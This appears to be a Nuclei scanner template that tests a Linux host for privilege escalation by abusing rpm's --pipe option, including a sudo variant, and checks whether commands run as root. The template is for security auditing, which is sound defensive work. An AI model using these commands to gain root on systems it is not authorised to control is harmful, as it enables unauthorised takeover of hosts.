privesc-rpm: rpm - Privilege Escalation

id: privesc-rpm

info:
  name: rpm - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    rpm stands for "Red Hat Package Manager." It is a command-line package management utility used in Red Hat-based Linux distributions to install, update, and manage software packages. rpm is also used to query package information, verify package integrity, and perform various administrative tasks related to software packages.
  reference:
    - https://gtfobins.github.io/gtfobins/rpm/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,rpm,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      rpm --pipe 'whoami 0<&1'

  - engine:
      - sh
      - bash
    source: |
      sudo rpm --pipe 'whoami 0<&1'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 490a00463044022017e55a97a102e31d3c368548c5470030e1d48a6bc50bffbb2a30141ce8e5fb8a022026fa821e05227ddd3c97626c77ccfe2253d0b95e49d78478ebb6c91a9445e70f:922c64590222798bb761d5b6d8e72950